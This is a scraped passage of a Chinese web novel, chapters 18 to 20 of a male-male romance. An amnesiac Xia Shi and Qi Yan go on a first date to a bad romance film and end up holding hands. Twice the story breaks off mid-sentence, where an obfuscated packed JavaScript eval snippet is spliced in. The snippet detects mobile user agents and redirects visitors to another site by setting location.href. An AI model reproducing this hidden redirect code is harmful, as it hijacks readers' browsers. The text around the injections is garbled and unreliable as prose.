云速俱乐部地址在郊区,不过这一带都是好好维护的风景区,不管是人造景还是远处的山色,都很养眼。 车载音响里飘出曲子,来时没开音乐,祁言还没注意,此时他疑了一声,动手滑动起屏幕。 夏时:“怎么了?” 祁言:“这不是我的歌单,我不会听这么闹腾的曲子——” 他说到一半,突然意识到什么,倏地闭嘴,果不其然,下一刻就听夏时道:“闹腾?还好吧,这都是我喜欢的歌。” 夏时本来只是顺口接话,这句说完,他也反应过来了,祁言的车上,全是他喜欢的歌,这是什么? 这是他们曾经感情的又一个证明啊! 车内气氛又顿时微妙起来。 祁言镇定地收回手指:“我的意思是,这些歌很有活力。” 夏时被他的找补逗笑了:“也不用为了我强行改口吧,听不惯就换。” 祁言没换:“还好。” “要说吵闹,今天何小鸣那狗叫声才是,要不是他跑得快,我还想让他重叫一遍,”夏时想了想又改了主意,“还是算了,就他的嗓音,怎么叫都难听。” “是难听,”祁言,“要不要我给你叫个好听的?” 祁言说这话的时候,一辆车刚好从对面开过来跟他们擦肩而过,引擎轰鸣声巨大,夏时没听清,一边看着前面的路,一边往祁言那边偏了偏身子:“你说什么?” 祁言也凑近了一点,而后压低嗓音:“汪。” 他的声音干净,可一旦稍微压低,就极具磁性,像是不轻不慢敲开一个气泡,裹着你的耳朵那么一捏。 夏时手一抖,车子蓦地走了个“Z”字路线,又被夏时生生稳住了。 夏时身子唰地坐正,直直杵在驾驶座上,杵成块钢板,他死死握紧方向盘:“……开车期间不许干扰司机正常驾驶!” 祁言看着夏时迅速从雪白变得通红的耳垂,觉得自己已经一点点摸清了夏时的路数,他弯起嘴角:“好的——所以好听吗?” 夏时:啊啊他一直在干扰我,根本没有停下来过! 但是……好听。 不仅听得他面热,还有一股隐秘的愉悦从胸腔流出,就好像他终于等来了什么不知名的胜利,正兀自雀跃,但这份雀跃跟此时的夏时有点割裂。 所以极大可能又是脑部哪块区域被触动了。 完了,夏时震惊,我该不会有什么被自己忘掉的特别喜好,比如想让祁言当狗之类的吧? 不然听他一声“汪”为什么会乐成这样? 失忆前的我玩的这么花的吗!? 19.第十九章 祁言给自己当狗……祁言怎么能给自己当狗呢! 夏时一边谴责这种不良嗜好,一边又忍不住想,当狗确实不好,自己应该不至于玩这么夸张,但是祁言的脖颈上要是套个项圈…… 黑色,皮质,一指宽的大小,再来个镂空,配上条银色的细项链,戴在祁言肌理流畅的脖子上,勾着手指往外面一拉—— 夏时猛地一巴掌拍在喇叭按钮上,用清脆的鸣笛声荡清自己脑子里糟糕的画面。 祁言问夏时好不好听,就是逗逗他,没指望回答,周围没车没人的,夏时突然摁喇叭,祁言:“怎么了?” 脑补了一通的夏时心虚:“……没什么。” 没什么那怎么连脸好像都有点红了? 祁言收起了逗人的心思,正了神情:“你脸色有点红,感冒了?” 夏时:“没有!” 不是吧他居然脸红了吗? 眼下他只能赶紧转移话题。 其实本来今天没有准备约会,但计划赶不上变化,兜风都兜了,自然该让这一趟尽兴,幸亏事先功课做的足,按照今天的时间,可以走一个稳妥的约会流程。 夏时:“今天时间还早,我们吃个饭,再去看电影怎么样?” 祁言:“行啊,你有什么想看的电影?” “没有,你有吗?” 祁言:“嗯……我也没有,我看看最近有什么在映的。” 吃饭看电影压马路是传统约会流程,如果要加上点新意…… 夏时:“不然我们盲点吧,挑到哪部是哪部。” 也算是增添了一点儿不确定的乐趣。 祁言在手机上翻了翻:“一共21部,这样,你报个数,用数字来挑。” 夏时随口道:“7。” “第七部是……”祁言,“哟,还是部爱情片。” 夏时打着方向盘:“那正好啊。” 约会嘛,如果没有双方都特别想看的电影,爱情片就是最合适的,只要不是拍得太烂,都能忍。 有些小情侣看着看着就能粘到一块,牵牵小手,不过夏时和祁言目前还不是真情侣,所以他还是在乎电影内容的。 “大概讲的什么?”夏时好奇地问。 祁言扫过简介,言简意赅:“说的是女主失忆后,和男主重新相遇的故事。” 夏时从前对这类题材完全不感冒,觉得全是艺术加工,离真实生活差了十万八千里,可轮到自己失忆,终于是感同身受,一下来了兴趣:“这么巧。” 祁言也觉得很巧:“可以看看演的怎么样,票买好了。” 祁言选的是城东的国际影院,夏时开着车过去,这辆跑车实在太拉风,一路上回头率高达百分之三百,即便停车后,回头率也依旧不减。 因为这回路人看清了他俩的脸。 就是硬帅,无需任何技巧,就能轻易钓住旁人的目光。 祁言还下单了饮料,他一杯咖啡,夏时一杯奶茶,全糖,两人没要爆米花,端着饮料走进影院的时候,夏时发现聚集在他们身上的目光越来越多,越来越多。 嗯? 虽然已经习惯了别人的注目,但这个关注量是不是不太正常? 夏时终于忍不住朝周围打量,这一看,他恍然大悟,弄清了大家都瞧着他们的原因。 周围人群配置:有独自前来观影的,有两个女生好友结伴的,最多的当然还是男女小情侣,唯有夏时和祁言两个男生的配对独树一帜,格外醒目。 起码这个场次里,只有他俩是男男配对。 再加上他俩的颜值和身高,很难不引得周围人频频侧目。 更绝的是,祁言买的是连排情侣座。 前后左右四对异性恋,把他俩团团围在了中间。 夏时:“……” 这就是传说中的情侣场吗!? 恐怖如斯。 讲真,一个人看电影的时候都没落到这样孤立的境地,两个人反而完成了该成就,真是世事难料。 如果换个人来,没准已经在全场瞩目下尴尬得社死了。 但夏时和祁言是一般人吗?他们不是啊! 顶着所有人的注目礼,两人淡定地在情侣座落座,不管周围是惊讶还是窃窃私语,是探究还是捂嘴偷笑,他俩都不动如山。 夏时的逻辑很清晰:他俩是来试着谈恋爱的,暧昧对象坐情侣座位看爱情电影,有问题吗,没有任何问题! 祁言就更简单了,他根本不在乎旁人目光,别人的看法跟他做事有关系吗,没有关系。 两人立体防御,无懈可击,在大量粉红泡泡的包围下,这对不太纯洁的男男淡定地端起饮料来了一口。 优雅,非常优雅。 夏时和祁言虽然坐在没有阻隔的情侣座,但两人中间隔着礼貌的距离,并没有靠在一起,夏时喝着小甜水,等着电影开始。 他余光扫过祁言的侧脸,突然有点不确定起来:这好像跟自己一个人看电影也没什么差别,真的能算一次约会吗? 但看电影期间也没别的事能做了,只能先等这两个小时结束,如果效果不好,还得启动别的备用方案补救一下。 学霸对于初次约会就要交出满意答卷堪称执念。 卷王就是卷王,恋爱赛道也能卷给你看。 影院灯光一暗,屏幕上广告播完,电影开始了。 全黑的那一两秒,夏时自己没什么感觉,听到祁言用很低的声音问:“你还好?” 夏时瞬间明白过来,祁言是在担心自己的恐惧症。 虽然很黑,但有人的手机刚才还亮着光,加上周围都是人,夏时没有任何不适。 但他并不认为祁言这句话多余,因为,这可是在关心自己啊。 无微不至,夏时捧着祁言买的全糖奶茶:“嗯,没事。” 夏时听到祁言的嗓音:“那就好。” 糟,祁言一压低嗓音夏时就听得耳根发软,一软就想起他那声带着气泡的“汪”,一想脑子里就会浮现黑色项圈…… 要完。 夏时猛吸一大口奶茶。 我的爱好该不会真有问题吧!? 他只能立刻盯着屏幕,想靠着电影转移注意力,把那些有的没的清理出去。 但很快,夏时发现自己高估了这部靠着失忆题材勾起他兴趣的影片。 一开始还好,女主亮相不错,人好看,电影质感也拉满,但随着剧情逐渐展开,夏时从认认真真到心不在焉,再到头皮发麻,如坐针毡。 ……这什么狗血还无脑的剧情啊! 男主人设很糟糕,像失了智,动不动就发火无能狂怒,身上看不出任何吸引人的点。 误会很离谱,解决的方式很离谱,情绪爆发更是莫名其妙。 说真的,不求他们有聪明的脑子,只要稍微长嘴,事情就不至于在滑坡的道路上一路狂奔。 电影里的人在哭,电影院的观众无动于衷,剧情太垃圾,正常人共情不了一点。 夏时也就是在这时候,终于明白了一个人看电影和两个人看电影的差别。 一个人遇上烂片,看不下去当场走人,两个人的时候……谁说电影院里只有电影? 前排的小情侣显然也看困了,两人打了呵欠,然后头挨着头,懒懒靠在了一块; 左边两个小情侣低头看起了同一个手机,也开始黏黏糊糊。 夏时想起了恋爱学习资料里那句话:只要身边的人对,电影再烂,这一趟也有意义。 看看周围的情侣,立刻就能领会这句话的真意,而自己身边的人…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559521|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏时不动声色拿眼角的视线扫过祁言。 祁言依旧盯着屏幕,他面上没什么多余的神情,很难推测他对电影的评价,别人都因为烂片坐不住的时候,他姿态依然从容,端坐其中。 他这么认真,以至于夏时不确定如果这时候找他搭话会不会打扰他。 这时,电影又到了一个冲突画面,音乐声拉满,音响震动地吼出台词:“就算你失忆了,你为什么就不能重新爱上我呢!?” 夏时看到祁言眼神动了动,更像是微微抽了抽,好的,看来祁言也受不了这剧情。 为什么不能重新爱上,因为你不配。 女主失忆后,男主对她来说就是个陌生人,他做了什么值得女主喜欢的事吗,没有啊,只会一味的索取、压力,抱怨,这不是谈恋爱来了,是把自己当受害者发泄不满来了。 不像祁言,体贴,细心,处处为他着想,跟电影男主一比,一个天一个地,不,就算在现实,也是打着灯笼都难找的二十四孝好男友。 而且祁言还比男主角长得帅。 看烂片还不如看祁言洗洗眼睛。 夏时啜了口奶茶。 盲盒开出了烂片,他觉得责任在自己,还有时间,可以启用备选方案了,第一次约会,怎么能让祁言败兴而归。 在电影院里说话,为了不打扰周围的人,大家都会压低声音,怕对方听不见,通常都会稍微靠近。 夏时也是这样。 他朝祁言的方向侧身,手自然而然落在座椅软垫上,这一放,就碰到了什么暖洋洋的东西。 是祁言的手。 情侣连座的妙用就在这里了,只不过少了个扶手隔阂,就处处是机会,只要稍微动一动,就很容易碰一碰。 夏时一惊,跟被烫了似的立马缩回手,动作幅度不小,祁言手指一动,偏头看了过来。 影院光线晦暗,人们没法完全看清彼此的神情,夏时有点懊恼,他刚才反应太大了,又不是碰上什么洪水猛兽,犯得着这么一惊一乍? 夏时觉得自己怕不是中了电影院的邪,不就是祁言的手吗,他又不是没碰过。 就是普通人的手而已,温暖,骨节分明,能在惊悸的黑夜里令人安心。 “……” 好吧,对夏时来说好像也不是很普通。 祁言感受着手边飞快消失的温度,他也觉得电影没意思,看得并不认真,只是姿态上维持了基本礼仪。 夏时这么一动,就让他注意力也跟着挪开了。 周围人好像都牵手的牵手,碰肩的碰肩,确实是非常浓郁的恋爱氛围。 虽说每对情侣间肯定都逃不开尝试牵住对方的手,看对方有没有感觉的过程,但不管怎么说,第一次约会就牵手还是太快,可不能吓到夏时—— 祁言还没想完,一只手就递到了他眼前。 黯淡的光线下那只手格外醒目,以至于祁言能够看清他指尖的每一次微微蜷缩,明明犹豫、紧张,但仍然小心又大胆地来到了他面前。 夏时肩膀紧绷:“……我们要不要牵手看看?” 他声音很小,几乎要被影院震耳欲聋的声音盖过去,但祁言听得清清楚楚,字字分明。 夏时:“要是觉得别扭随时可以放——” 夏时的声音戛然而止。 祁言握住了他的手,力道不轻不重,但没有迟疑,干燥又熨帖地圈住了他四根手指头,发现夏时没有拒绝排斥,才慢慢下滑,握住了他的掌心。 电影里的男主还在咆哮,但夏时一个字都没听进去,他只听见黑暗里,自己心跳如擂鼓。 咚、咚,砸得他心口又重又麻。 祁言握着夏时的手,在同样嘈杂的心跳声里想:谁说第一次约会就牵手太快了? 反正不是他。 20.第二十章 祁言的手干燥,滚烫,一路烫到了夏时心坎儿里。 明明大着胆子伸手的是夏时,但把手牵上后,夏时目光就乱了,不知道该往哪里放,最后只能正襟危坐直视前方,又盯着那巨大的屏幕,假装认认真真在看电影。 实际上什么都没看进去。 他俩交握的手放在椅垫上,祁言绅士又规矩,只是握着,没有乱动,分明只是一点点皮肤接触,但存在感强到不可思议。 夏时有点儿想逃。 心跳快炸了,原来痛并快乐是这么个感受。 别说,还有点上头。 从前他对爱情故事不屑一顾,觉得写得个顶个的夸张,现在他才发现,不但不夸张,反而还保守了。 牵个手威力都能这么大,那抱一下甚至亲一下还不得原地飞升? 夏时猛地吸了口奶茶。 好甜。 全糖的奶茶原来这么甜吗? 看来下次要换半糖了。 黑暗里,夏时白皙的脸蛋上已经绯红,电影的光在他眼中闪烁,夏时觉得自己掌心温度越来越热,分不清是他自己的,还是祁言的。 他们两个的手暖成了一片,不分彼此。 所以我能接受和祁言手牵手,而祁言目前也没有松开的意思。 这是不是意味着他们还是有很大几率能重新谈上恋爱? 毕竟完全不来电的人握在一起也会觉得无趣,不出几秒就该松手,更别说祁言还是不喜欢跟人过多接触的类型。 很好,夏时精神一振,看来第一次约会他们就开了个好头! 牵手只是一小步,并不代表就喜欢上了,这点夏时还是很清楚的,不过要怎么样才算是确定的喜欢呢? 没有记忆,认知里从没喜欢过谁的夏时犯了难。 普通朋友和男朋友的界限是表白,还是……接吻? 每个人都可以有不同答案,恋爱这东西太复杂了,要学的东西还太多,不过没关系,反正夏时觉得为了祁言学一学不是不可以。 确认了对牵手不排斥,其实牵个几分钟或者十分钟后就可以松手了,毕竟大夏天的,即便影院空调开得足,贴在一起的掌心还是热。 真情侣牵一会儿也会放,更不用说他俩还不是。 但他俩谁也没动,谁也没松手。 夏时和祁言没再说话,也没有眼神交流,夏时听到自己乱撞的心跳慢慢落回去,没有落空,而是落到一片柔软的云上。 那温暖和安心,就跟他们握着的手一样,真实,令人眷恋。 夏时在走神,他无意识咬住了吸管,喝掉最后一口奶茶,空气爬入吸管挤出了声,这声音让夏时一愣,他意识到个问题: 祁言唯一能动的左手被他牵着了,就腾不出手喝咖啡了。 电影院座位有能放饮料的凹槽,按理说祁言右手受伤,肯定坐在左侧更方便,但他落座时自然而然坐在了右边,宁愿费点功夫也要把左手放在两人中间…… 祁言不会是,一早就想到了他俩牵手的可能性吧? 而且这么长时间过去了,祁言说不定已经口渴,但都没有松开他去拿水喝,一秒钟都没有。 宁愿自己渴着。 夏时已经规律的心跳又跟兔子似地乱蹦了两下。 如果真是这样,那祁言才是正儿八经掌握了约会精髓,不像自己,一开始满心只想着看电影。 可恶,看看别人这悟性,自己不是又输了吗! 不行不行,他主动提起的约会,必须得让祁言宾至如归! 夏时小脑瓜一转,就有了主意,他放下手里的空杯,一侧身,朝祁言凑近了。 祁言:? 祁言不知道夏时要做什么,所以没动,是又想跟他说话? 但祁言很快发现自己想错了。 说悄悄话只需要靠近,并不需要直接倾身几乎遮挡在自己面前。 祁言:! 太近了。 夏时的影子落在祁言身上,挡住了他视线的所有去路,除了落在夏时漂亮的侧脸上,根本没有别的选择。 夏时还抬起了手,这个姿势,完全是一个侧面的拥抱。 祁言的神经反射要控制他下意识躲开,但不知为什么,他被定在原地,一动不动。 夏时握着他的手在用力,一点热气擦过祁言发丝,也不知道夏时用的什么洗发水,在祁言鼻尖留下了点清新的海盐味。 祁言右肩绷了绷,引得受伤的小臂被扯得微微刺痛。 他眼睁睁看着夏时靠近,然后…… 然后伸手,把他搁在右边凹槽的咖啡拿了出来。 祁言:“……?” 成功取到咖啡,夏时松了口气,落回自己座位上,他方才越过祁言去拿咖啡可紧张了,就怕碰到祁言的伤臂,结果抬头,就看到祁言正满脸一言难尽。 夏时:? 发生什么事了? 夏时茫然,从自信满满到不太确定,迟疑了下,举起咖啡递到祁言跟前:“你要喝咖啡吗?” 祁言复杂的神情一扫而空,他先是闪过讶异,而后眉眼弯出了笑。 “你要喂我?”他压低声音问。 夏时发现一旦祁言压低声音说话,他真是听不了一点儿,耳廓真的像是被声音如珠子滚过,揉捏一圈,又热又麻,身体都跟着一抖。 自打听过祁言这种嗓音,夏时就无师自通,领会了什么叫做“耳朵怀孕”。 如果在别的地方,他还能请祁言收了神通,但电影院禁大声喧哗,只能放低声音交流,他自己也这么说话。 都是放轻声音,怎么祁言威力就这么大。 还有,虽然他确实是准备投喂祁言,但是……知道就行了嘛何必非得说出来! 有些话说跟不说羞耻程度真不是一个量级。 夏时顿时觉得咖啡不是咖啡,是烫手山芋,硬着头皮瓮声瓮气:“对!所以你喝不喝?” 小同学炸毛了,可惜还只能小声说话,凶巴巴的模样非但不吓人,反而可爱得不行,另外……祁言目光扫过他们交握的双手。 夏时手上的力道也不自觉加重,两人的手握得更紧了。 祁言真的够绅士,因为不想吓跑夏时,握手也非常规矩,但这可是夏时主动送上门,可不能怪他。 祁言也用力反握回去,抓牢了,在夏时反应过来前低头凑近,张口叼住了吸管。 这招果然有效,夏时本来察觉指骨一紧刚想缩缩手,咖啡杯就动了,他注意力立刻全被祁言靠近的脸吸引了过去。 夏时第一次从这个视角看祁言,他垂着眸,离自己很近,高挺的鼻梁那么显眼,呼吸声近到可闻,好像自己只要稍微往前挪一挪,就能额头抵额头,鼻尖蹭鼻尖。 夏时不由自主屏住了呼吸。 祁言肺活量应该挺好的,也没听到吞咽声,一口居然喝了这么久。 看样子渴得不轻。 夏时充分理解,并愈发觉得祁言实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564768|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在太为别人着想了,渴成这样都没撒手啊! 夏时感动的同时又觉得这样不行,人不能因为对别人好就一味委屈自己,他正准备跟祁言说道说道,就见近在咫尺的祁言忽然一抬眸。 幽白的屏幕冷光落在祁言眼里,不知道是不是光线带来的错觉,这瞬间,夏时觉得自己仿佛看到了一双野兽的眼,又冷又热,冷是因为眉眼锋利,热是因为野兽牢牢盯住了猎物。 而他就是那个猎物。 夏时手指一蜷。 在这之前,他一直觉得祁言虽然帅得锐利冷峻,但眼神从来很温柔,即便偶尔说话浪上一下,行动上依旧妥帖持重。 所以他不知道祁言原来还可以散发出这样危险的气息。 夏时眼睛微微睁大,瞳孔战栗起来,这样的祁言简直……太有意思了! 没错,夏时不仅不怕,反而莫名兴奋起来,他自己都不知道自己眼神也在发亮。 他心里冒出道声音:谁是猎物还不一定呢! 祁言触碰到夏时隐隐振奋的目光,也觉得很有趣,夏时总能在自己以为已经了解他的时候,又时不时冒出惊喜。 他俩一瞬的目光碰撞,明明像狩猎交锋,但却异常热切。 好像他俩就该这样。 交朋友,祁言欣赏势均力敌旗鼓相当,他头回知道,原来自己谈恋爱也偏好这一款吗? 在夏时手酸之前,祁言松开了吸管,他神情一动,夏时的眼睛也跟着一扇,小同学好像如梦初醒,端着咖啡往后撤,坐直了。 夏时也不知道自己刚刚兴奋个什么,劲儿过了,手指尴尬地紧了紧咖啡杯,没话找话:“呃,好喝吗?” 祁言神色如常:“好喝啊。” 夏时:“那就好,等下你再口渴随时找我。” 祁言闷笑:“可是咖啡已经喝完了。” 夏时:“……”他这才发现杯子已经非常轻,里面空空如也了。 夏时把杯子一放,找补:“出去再买。” 祁言笑而不语。 夏时遇上烂片用祁言洗眼睛,遇上祁言,又换回烂片来稳住心跳。 夏时想用手摸摸鼻尖掩饰尴尬,但手指上的咖啡味先一步飘了过来。 好香。 让他这个只喜欢喝小甜水的,都想尝尝祁言那杯咖啡了。 他们没再出声,但直到电影结束前,都没松开交叠在一起的手。 当片尾曲响起,灯光一亮,众人终于解脱,不等彩蛋就立刻起身离场,只有夏时和祁言留到最后,直到只剩他俩,才不慌不忙起身。 “走吧。” “嗯。” 指尖空了,只残留着触感与温度。 夏时手中空空荡荡,一时间还有点不适应。 两人出了影厅去等电梯,并不知道在跟某人擦肩而过后,那人忽然一愣,然后不可置信回头,力道之大,差点抻着自己脖子。 夏时和祁言?? 他没看错吧! 夏时和祁言正好走进电梯,转过身,电梯门阖上前,那人看清了他们的正脸。 没错,是他俩。 但是,刚刚散场的电影不是爱情片吗?? 夏时和祁言去看了爱情片??? 世界疯了还是他疯了? 他目瞪口呆,原地站桩半晌后,猛地回神,掏出手机噼里啪啦打字。 【夭寿啦!你们猜我刚才看见了什么,夏时和祁言上电影院看了爱情片!!】